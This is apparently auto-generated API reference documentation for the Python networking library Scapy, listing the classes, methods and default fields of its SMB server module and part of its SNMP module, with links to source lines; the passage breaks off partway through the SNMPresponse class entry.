class scapy.layers.smbserver.SMB_DCERPC_Server(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L1481-L1574]

	Bases: DCERPC_Server

DCE/RPC server than handles the minimum RPCs for SMB to work:


	
dcerpc_commands = {<class 'scapy.layers.msrpce.raw.ms_srvs.NetrServerGetInfo_Request'>: <function SMB_DCERPC_Server.netr_server_getinfo>, <class 'scapy.layers.msrpce.raw.ms_srvs.NetrShareEnum_Request'>: <function SMB_DCERPC_Server.netr_share_enum>, <class 'scapy.layers.msrpce.raw.ms_srvs.NetrShareGetInfo_Request'>: <function SMB_DCERPC_Server.netr_share_getinfo>, <class 'scapy.layers.msrpce.raw.ms_wkst.NetrWkstaGetInfo_Request'>: <function SMB_DCERPC_Server.netr_wksta_getinfo>}

	




	
netr_server_getinfo(req)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L1537-L1556]

	NetrServerGetInfo [MS-WKST]
“retrieves current configuration information for CIFS and
SMB Version 1.0 servers.”






	
netr_share_enum(req)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L1490-L1518]

	NetrShareEnum [MS-SRVS]
“retrieves information about each shared resource on a server.”






	
netr_share_getinfo(req)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L1558-L1574]

	NetrShareGetInfo [MS-SRVS]
“retrieves information about a particular shared resource on a server.”






	
netr_wksta_getinfo(req)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L1520-L1535]

	NetrWkstaGetInfo [MS-SRVS]
“returns information about the configuration of a workstation.”










	
class scapy.layers.smbserver.SMB_Server(self, debug: int = 0, store: int = 0, **kargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L190-L1475]

	Bases: Automaton

SMB server automaton


	Parameters:

	
	shares – the shares to serve. By default, share nothing.
Note that IPC$ is appended.


	ssp – the SSP to use








All other options (in caps) are optional, and SMB specific:


	Parameters:

	
	ANONYMOUS_LOGIN – mark the clients as anonymous


	GUEST_LOGIN – mark the clients as guest


	REQUIRE_SIGNATURE – set ‘Require Signature’


	MAX_DIALECT – maximum SMB dialect. Defaults to 0x0311 (3.1.1)


	TREE_SHARE_FLAGS – flags to announce on Tree_Connect_Response


	TREE_CAPABILITIES – capabilities to announce on Tree_Connect_Response


	TREE_MAXIMAL_ACCESS – maximal access to announce on Tree_Connect_Response


	FILE_MAXIMAL_ACCESS – maximal access to announce in MxAc Create Context









	
AUTHENTICATED(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
BEGIN(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
END(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
LAST_HANDLE = <SMB2_FILEID  Persistent=0xffffffffffffffff Volatile=0xffffffffffffffff |>

	




	
NEGOTIATED(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
PIPES_TABLE = {'NETLOGON': <SMB2_FILEID  Persistent=0x4000000014 Volatile=0x4000000003 |>, 'srvsvc': <SMB2_FILEID  Persistent=0x4000000012 Volatile=0x4000000001 |>, 'wkssvc': <SMB2_FILEID  Persistent=0x4000000013 Volatile=0x4000000002 |>}

	




	
RECEIVED_SETUP_ANDX_REQUEST(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SERVING(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
actions: Dict[str, List[_StateWrapper]] = {'is_smb1_tree': [], 'receive_cancel_request': [<function SMB_Server.send_notify_cancel_response>], 'receive_change_notify_info': [<function SMB_Server.send_change_notify_info_response>], 'receive_close_request': [<function SMB_Server.send_close_response>], 'receive_create_file': [<function SMB_Server.send_create_file_response>], 'receive_echo_request': [<function SMB_Server.send_echo_reply>], 'receive_ioctl': [<function SMB_Server.send_ioctl_response>], 'receive_logoff_request': [<function SMB_Server.send_logoff_response>], 'receive_query_directory_info': [<function SMB_Server.send_query_directory_response>], 'receive_query_info': [<function SMB_Server.send_query_info_response>], 'receive_read_request': [<function SMB_Server.send_read_response>], 'receive_setup_andx_request': [<function SMB_Server.on_setup_andx_request>], 'receive_setup_andx_request_in_serving': [], 'receive_tree_connect': [<function SMB_Server.send_tree_connect_response>], 'receive_tree_disconnect_request': [<function SMB_Server.send_tree_disconnect_response>], 'receive_write_request': [<function SMB_Server.send_write_response>], 'received_negotiate': [<function SMB_Server.on_negotiate>], 'received_negotiate_smb2': [<function SMB_Server.on_negotiate_smb2>], 'received_negotiate_smb2_begin': [<function SMB_Server.on_negotiate_smb2_begin>], 'should_serve': [], 'wait_for_next_request': []}

	




	
breakpoints: Set[_StateWrapper]

	




	
conditions: Dict[str, List[_StateWrapper]] = {'AUTHENTICATED': [<function SMB_Server.should_serve>], 'BEGIN': [], 'END': [], 'NEGOTIATED': [], 'RECEIVED_SETUP_ANDX_REQUEST': [<function SMB_Server.wait_for_next_request>], 'SERVING': []}

	




	
current_smb_time()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L928-L932]

	




	
current_tree()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L716-L720]

	Return the current tree name






	
eofs: Dict[str, _StateWrapper] = {}

	




	
get_file_id(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L1003-L1010]

	Return the FileId attribute of pkt, accounting for compounded requests.






	
initial_states: List[_StateWrapper] = [<function ATMT.state.<locals>.deco.<locals>._state_wrapper>]

	




	
intercepted_packet: None | Packet

	




	
interception_points: Set[_StateWrapper]

	




	
ioevents: Dict[str, List[_StateWrapper]] = {'AUTHENTICATED': [], 'BEGIN': [], 'END': [], 'NEGOTIATED': [], 'RECEIVED_SETUP_ANDX_REQUEST': [], 'SERVING': []}

	




	
ionames: List[str] = []

	




	
iosupersockets: List[SuperSocket] = []

	




	
is_smb1_tree(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L754-L759]

	




	
listen_sock: SuperSocket | None

	




	
lookup_file(fname, durable_handle=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L941-L995]

	Lookup the file and build it’s SMB2_FILEID






	
lookup_folder(handle, filter, offset, cls)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L1012-L1046]

	Lookup a folder handle






	
make_file_id(fname)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L934-L939]

	Generate deterministic FileId based on the fname






	
on_negotiate(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L357-L532]

	




	
on_negotiate_smb2(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L571-L573]

	




	
on_negotiate_smb2_begin(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L353-L355]

	




	
on_setup_andx_request(pkt, ssp_blob)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L598-L675]

	




	
packets: PacketList

	




	
pkt_cls[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1385-L1388]

	alias of DirectTCP






	
receive_cancel_request(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L1455-L1458]

	




	
receive_change_notify_info(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L1175-L1178]

	




	
receive_close_request(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L1413-L1416]

	




	
receive_create_file(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L911-L914]

	




	
receive_echo_request(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L1467-L1470]

	




	
receive_ioctl(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L798-L801]

	




	
receive_logoff_request(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L740-L743]

	




	
receive_query_directory_info(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L1192-L1195]

	




	
receive_query_info(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L1259-L1262]

	




	
receive_read_request(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L1388-L1391]

	




	
receive_setup_andx_request(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L575-L592]

	




	
receive_setup_andx_request_in_serving(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L750-L752]

	




	
receive_tree_connect(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L761-L765]

	




	
receive_tree_disconnect_request(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L1438-L1441]

	




	
receive_write_request(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L1374-L1381]

	




	
received_negotiate(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L342-L345]

	




	
received_negotiate_smb2(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L566-L569]

	




	
received_negotiate_smb2_begin(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L347-L351]

	




	
recv_conditions: Dict[str, List[_StateWrapper]] = {'AUTHENTICATED': [], 'BEGIN': [<function SMB_Server.received_negotiate>, <function SMB_Server.received_negotiate_smb2_begin>], 'END': [], 'NEGOTIATED': [<function SMB_Server.received_negotiate_smb2>, <function SMB_Server.receive_setup_andx_request>], 'RECEIVED_SETUP_ANDX_REQUEST': [], 'SERVING': [<function SMB_Server.receive_logoff_request>, <function SMB_Server.receive_setup_andx_request_in_serving>, <function SMB_Server.is_smb1_tree>, <function SMB_Server.receive_tree_connect>, <function SMB_Server.receive_ioctl>, <function SMB_Server.receive_create_file>, <function SMB_Server.receive_change_notify_info>, <function SMB_Server.receive_query_directory_info>, <function SMB_Server.receive_query_info>, <function SMB_Server.receive_write_request>, <function SMB_Server.receive_read_request>, <function SMB_Server.receive_close_request>, <function SMB_Server.receive_tree_disconnect_request>, <function SMB_Server.receive_cancel_request>, <function SMB_Server.receive_echo_request>]}

	




	
root_path()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L722-L731]

	Return the root path of the current tree






	
send(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L335-L336]

	




	
send_change_notify_info_response(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L1180-L1190]

	




	
send_close_response(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L1418-L1436]

	




	
send_create_file_response(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L1048-L1173]

	Handle CreateFile request

See [MS-SMB2] 3.3.5.9 ()






	
send_echo_reply(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L1472-L1475]

	




	
send_ioctl_response(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L803-L909]

	




	
send_logoff_response(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L745-L748]

	




	
send_notify_cancel_response(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L1460-L1465]

	




	
send_query_directory_response(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L1197-L1257]

	




	
send_query_info_response(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L1264-L1372]

	




	
send_read_response(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L1393-L1411]

	




	
send_sock: SuperSocket | None

	




	
send_tree_connect_response(pkt, tree_name)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L767-L796]

	




	
send_tree_disconnect_response(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L1443-L1453]

	




	
send_write_response(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L1383-L1386]

	




	
property session

	




	
set_compounded_handle(handle)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L997-L1001]

	Mark a handle as the current one being compounded.






	
should_serve()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L694-L702]

	




	
socketcls[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L4049-L4085]

	alias of SMBStreamSocket






	
states: Dict[str, _StateWrapper] = {'AUTHENTICATED': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'BEGIN': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'END': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'NEGOTIATED': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'RECEIVED_SETUP_ANDX_REQUEST': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SERVING': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>}

	




	
stop_state: _StateWrapper | None = None

	




	
threadid: int | None

	




	
timeout: Dict[str, _TimerList] = {'AUTHENTICATED': [], 'BEGIN': [], 'END': [], 'NEGOTIATED': [], 'RECEIVED_SETUP_ANDX_REQUEST': [], 'SERVING': []}

	




	
update_smbheader(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L538-L564]

	Called when receiving a SMB2 packet to update the current smb_header






	
vprint(s='')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L325-L333]

	Verbose print (if enabled)






	
wait_for_next_request()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L677-L685]

	








	
class scapy.layers.smbserver.smbserver(shares=None, iface: str = None, port: int = 445, verb: int = 2, ssp=None, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L1580-L1643]

	Bases: object

Spawns a simple smbserver

smbserver parameters:



	param shares:

	the list of shares to announce. Note that IPC$ is appended.
By default, a ‘Scapy’ share on ‘./’



	param port:

	the port to bind on, default 445



	param iface:

	the interface to bind on, default conf.iface



	param ssp:

	the SSP to use. See the examples below. Default NTLM with guest








Many more SMB-specific parameters are available in help(SMB_Server)


	
close()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L1637-L1643]

	Close the smbserver if started in background mode (bg=True)












            

          

      

      

    

  

    
      
          
            
  
scapy.layers.snmp

SNMP (Simple Network Management Protocol).


	
class scapy.layers.snmp.ASN1F_SNMP_PDU_BULK(*seq: Any, **kwargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/snmp.py#L132-L133]

	Bases: ASN1F_SEQUENCE


	
ASN1_tag = <ASN1Tag PDU_BULK[165]>

	








	
class scapy.layers.snmp.ASN1F_SNMP_PDU_GET(*seq: Any, **kwargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/snmp.py#L112-L113]

	Bases: ASN1F_SEQUENCE


	
ASN1_tag = <ASN1Tag PDU_GET[160]>

	








	
class scapy.layers.snmp.ASN1F_SNMP_PDU_INFORM(*seq: Any, **kwargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/snmp.py#L136-L137]

	Bases: ASN1F_SEQUENCE


	
ASN1_tag = <ASN1Tag PDU_INFORM[166]>

	








	
class scapy.layers.snmp.ASN1F_SNMP_PDU_NEXT(*seq: Any, **kwargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/snmp.py#L116-L117]

	Bases: ASN1F_SEQUENCE


	
ASN1_tag = <ASN1Tag PDU_NEXT[161]>

	








	
class scapy.layers.snmp.ASN1F_SNMP_PDU_RESPONSE(*seq: Any, **kwargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/snmp.py#L120-L121]

	Bases: ASN1F_SEQUENCE


	
ASN1_tag = <ASN1Tag PDU_RESPONSE[162]>

	








	
class scapy.layers.snmp.ASN1F_SNMP_PDU_SET(*seq: Any, **kwargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/snmp.py#L124-L125]

	Bases: ASN1F_SEQUENCE


	
ASN1_tag = <ASN1Tag PDU_SET[163]>

	








	
class scapy.layers.snmp.ASN1F_SNMP_PDU_TRAPv1(*seq: Any, **kwargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/snmp.py#L128-L129]

	Bases: ASN1F_SEQUENCE


	
ASN1_tag = <ASN1Tag PDU_TRAPv1[164]>

	








	
class scapy.layers.snmp.ASN1F_SNMP_PDU_TRAPv2(*seq: Any, **kwargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/snmp.py#L140-L141]

	Bases: ASN1F_SEQUENCE


	
ASN1_tag = <ASN1Tag PDU_TRAPv2[167]>

	








	
class scapy.layers.snmp.ASN1_Class_SNMP[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/snmp.py#L32-L41]

	Bases: ASN1_Class_UNIVERSAL


	
ANY = <ASN1Tag ANY[0]>

	




	
BIT_STRING = <ASN1Tag BIT_STRING[3]>

	




	
BMP_STRING = <ASN1Tag BMP_STRING[30]>

	




	
BOOLEAN = <ASN1Tag BOOLEAN[1]>

	




	
CHAR_STRING = <ASN1Tag CHAR_STRING[29]>

	




	
COUNTER32 = <ASN1Tag COUNTER32[65]>

	




	
COUNTER64 = <ASN1Tag COUNTER64[70]>

	




	
EMBEDDED_PDF = <ASN1Tag EMBEDDED_PDF[11]>

	




	
ENUMERATED = <ASN1Tag ENUMERATED[10]>

	




	
ERROR = <ASN1Tag ERROR[-3]>

	




	
EXTERNAL = <ASN1Tag EXTERNAL[8]>

	




	
GAUGE32 = <ASN1Tag GAUGE32[66]>

	




	
GENERALIZED_TIME = <ASN1Tag GENERALIZED_TIME[24]>

	




	
GENERAL_STRING = <ASN1Tag GENERAL_STRING[27]>

	




	
GRAPHIC_STRING = <ASN1Tag GRAPHIC_STRING[25]>

	




	
IA5_STRING = <ASN1Tag IA5_STRING[22]>

	




	
INTEGER = <ASN1Tag INTEGER[2]>

	




	
IPADDRESS = <ASN1Tag IPADDRESS[64]>

	




	
ISO646_STRING = <ASN1Tag ISO646_STRING[26]>

	




	
NONE = <ASN1Tag NONE[-1]>

	




	
NULL = <ASN1Tag NULL[5]>

	




	
NUMERIC_STRING = <ASN1Tag NUMERIC_STRING[18]>

	




	
OBJECT_DESCRIPTOR = <ASN1Tag OBJECT_DESCRIPTOR[7]>

	




	
OID = <ASN1Tag OID[6]>

	




	
PDU_BULK = <ASN1Tag PDU_BULK[165]>

	




	
PDU_GET = <ASN1Tag PDU_GET[160]>

	




	
PDU_INFORM = <ASN1Tag PDU_INFORM[166]>

	




	
PDU_NEXT = <ASN1Tag PDU_NEXT[161]>

	




	
PDU_RESPONSE = <ASN1Tag PDU_RESPONSE[162]>

	




	
PDU_SET = <ASN1Tag PDU_SET[163]>

	




	
PDU_TRAPv1 = <ASN1Tag PDU_TRAPv1[164]>

	




	
PDU_TRAPv2 = <ASN1Tag PDU_TRAPv2[167]>

	




	
PRINTABLE_STRING = <ASN1Tag PRINTABLE_STRING[19]>

	




	
RAW = <ASN1Tag RAW[-2]>

	




	
REAL = <ASN1Tag REAL[9]>

	




	
RELATIVE_OID = <ASN1Tag RELATIVE_OID[13]>

	




	
SEQUENCE = <ASN1Tag SEQUENCE[48]>

	




	
SET = <ASN1Tag SET[49]>

	




	
STRING = <ASN1Tag STRING[4]>

	




	
T61_STRING = <ASN1Tag T61_STRING[20]>

	




	
TIME_TICKS = <ASN1Tag TIME_TICKS[67]>

	




	
UNIVERSAL_STRING = <ASN1Tag UNIVERSAL_STRING[28]>

	




	
UTC_TIME = <ASN1Tag UTC_TIME[23]>

	




	
UTF8_STRING = <ASN1Tag UTF8_STRING[12]>

	




	
VIDEOTEX_STRING = <ASN1Tag VIDEOTEX_STRING[21]>

	




	
name = 'SNMP'

	








	
class scapy.layers.snmp.ASN1_SNMP_PDU_BULK(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/snmp.py#L64-L65]

	Bases: ASN1_SEQUENCE


	
tag = <ASN1Tag PDU_BULK[165]>

	








	
class scapy.layers.snmp.ASN1_SNMP_PDU_GET(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/snmp.py#L44-L45]

	Bases: ASN1_SEQUENCE


	
tag = <ASN1Tag PDU_GET[160]>

	








	
class scapy.layers.snmp.ASN1_SNMP_PDU_INFORM(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/snmp.py#L68-L69]

	Bases: ASN1_SEQUENCE


	
tag = <ASN1Tag PDU_INFORM[166]>

	








	
class scapy.layers.snmp.ASN1_SNMP_PDU_NEXT(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/snmp.py#L48-L49]

	Bases: ASN1_SEQUENCE


	
tag = <ASN1Tag PDU_NEXT[161]>

	








	
class scapy.layers.snmp.ASN1_SNMP_PDU_RESPONSE(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/snmp.py#L52-L53]

	Bases: ASN1_SEQUENCE


	
tag = <ASN1Tag PDU_RESPONSE[162]>

	








	
class scapy.layers.snmp.ASN1_SNMP_PDU_SET(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/snmp.py#L56-L57]

	Bases: ASN1_SEQUENCE


	
tag = <ASN1Tag PDU_SET[163]>

	








	
class scapy.layers.snmp.ASN1_SNMP_PDU_TRAPv1(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/snmp.py#L60-L61]

	Bases: ASN1_SEQUENCE


	
tag = <ASN1Tag PDU_TRAPv1[164]>

	








	
class scapy.layers.snmp.ASN1_SNMP_PDU_TRAPv2(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/snmp.py#L72-L73]

	Bases: ASN1_SEQUENCE


	
tag = <ASN1Tag PDU_TRAPv2[167]>

	








	
class scapy.layers.snmp.BERcodec_SNMP_PDU_BULK[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/snmp.py#L98-L99]

	Bases: BERcodec_SEQUENCE


	
tag = <ASN1Tag PDU_BULK[165]>

	








	
class scapy.layers.snmp.BERcodec_SNMP_PDU_GET[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/snmp.py#L78-L79]

	Bases: BERcodec_SEQUENCE


	
tag = <ASN1Tag PDU_GET[160]>

	








	
class scapy.layers.snmp.BERcodec_SNMP_PDU_INFORM[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/snmp.py#L102-L103]

	Bases: BERcodec_SEQUENCE


	
tag = <ASN1Tag PDU_INFORM[166]>

	








	
class scapy.layers.snmp.BERcodec_SNMP_PDU_NEXT[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/snmp.py#L82-L83]

	Bases: BERcodec_SEQUENCE


	
tag = <ASN1Tag PDU_NEXT[161]>

	








	
class scapy.layers.snmp.BERcodec_SNMP_PDU_RESPONSE[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/snmp.py#L86-L87]

	Bases: BERcodec_SEQUENCE


	
tag = <ASN1Tag PDU_RESPONSE[162]>

	








	
class scapy.layers.snmp.BERcodec_SNMP_PDU_SET[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/snmp.py#L90-L91]

	Bases: BERcodec_SEQUENCE


	
tag = <ASN1Tag PDU_SET[163]>

	








	
class scapy.layers.snmp.BERcodec_SNMP_PDU_TRAPv1[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/snmp.py#L94-L95]

	Bases: BERcodec_SEQUENCE


	
tag = <ASN1Tag PDU_TRAPv1[164]>

	








	
class scapy.layers.snmp.BERcodec_SNMP_PDU_TRAPv2[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/snmp.py#L106-L107]

	Bases: BERcodec_SEQUENCE


	
tag = <ASN1Tag PDU_TRAPv2[167]>

	








	
class scapy.layers.snmp.SNMP(_pkt, /, *, version=0x1 <ASN1_INTEGER[1]>, community=<ASN1_STRING['public']>, PDU=<SNMPget  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/snmp.py#L267-L280]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_enum_INTEGER object>, <scapy.asn1fields.ASN1F_STRING object>, <scapy.asn1fields.ASN1F_CHOICE object>)>

	




	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/snmp.py#L277-L280]

	




	
fields_desc

	
SNMP fields






	version

	ASN1F_enum_INTEGER

	0x1 <ASN1_INTEGER[1]>



	community

	ASN1F_STRING

	<ASN1_STRING['public']>



	PDU

	ASN1F_CHOICE

	<SNMPget  |>















	
class scapy.layers.snmp.SNMPbulk(_pkt, /, *, id=0x0 <ASN1_INTEGER[0]>, non_repeaters=0x0 <ASN1_INTEGER[0]>, max_repetitions=0x0 <ASN1_INTEGER[0]>, varbindlist=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/snmp.py#L240-L246]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SNMP_PDU_BULK(<scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_INTEGER object>, <ASN1F_SEQUENCE_OF varbindlist>)>

	




	
aliastypes

	




	
fields_desc

	
SNMPbulk fields






	id

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	non_repeaters

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	max_repetitions

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	varbindlist

	ASN1F_SEQUENCE_OF

	[]















	
class scapy.layers.snmp.SNMPget(_pkt, /, *, id=0x0 <ASN1_INTEGER[0]>, error=0x0 <ASN1_INTEGER[0]>, error_index=0x0 <ASN1_INTEGER[0]>, varbindlist=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/snmp.py#L193-L199]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SNMP_PDU_GET(<scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_enum_INTEGER object>, <scapy.asn1fields.ASN1F_INTEGER object>, <ASN1F_SEQUENCE_OF varbindlist>)>

	




	
aliastypes

	




	
fields_desc

	
SNMPget fields






	id

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	error

	ASN1F_enum_INTEGER

	0x0 <ASN1_INTEGER[0]>



	error_index

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	varbindlist

	ASN1F_SEQUENCE_OF

	[]















	
class scapy.layers.snmp.SNMPinform(_pkt, /, *, id=0x0 <ASN1_INTEGER[0]>, error=0x0 <ASN1_INTEGER[0]>, error_index=0x0 <ASN1_INTEGER[0]>, varbindlist=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/snmp.py#L249-L255]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SNMP_PDU_INFORM(<scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_enum_INTEGER object>, <scapy.asn1fields.ASN1F_INTEGER object>, <ASN1F_SEQUENCE_OF varbindlist>)>

	




	
aliastypes

	




	
fields_desc

	
SNMPinform fields






	id

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	error

	ASN1F_enum_INTEGER

	0x0 <ASN1_INTEGER[0]>



	error_index

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	varbindlist

	ASN1F_SEQUENCE_OF

	[]















	
class scapy.layers.snmp.SNMPnext(_pkt, /, *, id=0x0 <ASN1_INTEGER[0]>, error=0x0 <ASN1_INTEGER[0]>, error_index=0x0 <ASN1_INTEGER[0]>, varbindlist=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/snmp.py#L202-L208]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SNMP_PDU_NEXT(<scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_enum_INTEGER object>, <scapy.asn1fields.ASN1F_INTEGER object>, <ASN1F_SEQUENCE_OF varbindlist>)>

	




	
aliastypes

	




	
fields_desc

	
SNMPnext fields






	id

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	error

	ASN1F_enum_INTEGER

	0x0 <ASN1_INTEGER[0]>



	error_index

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	varbindlist

	ASN1F_SEQUENCE_OF

	[]















	
class scapy.layers.snmp.SNMPresponse(_pkt, /, *, id=0x0 <ASN1_INTEGER[0]>, error=0x0 <ASN1_INTEGER[0]>, error_index=0x0 <ASN1_INTEGER[0]>, varbindlist=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/snmp.py#L211-L217]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
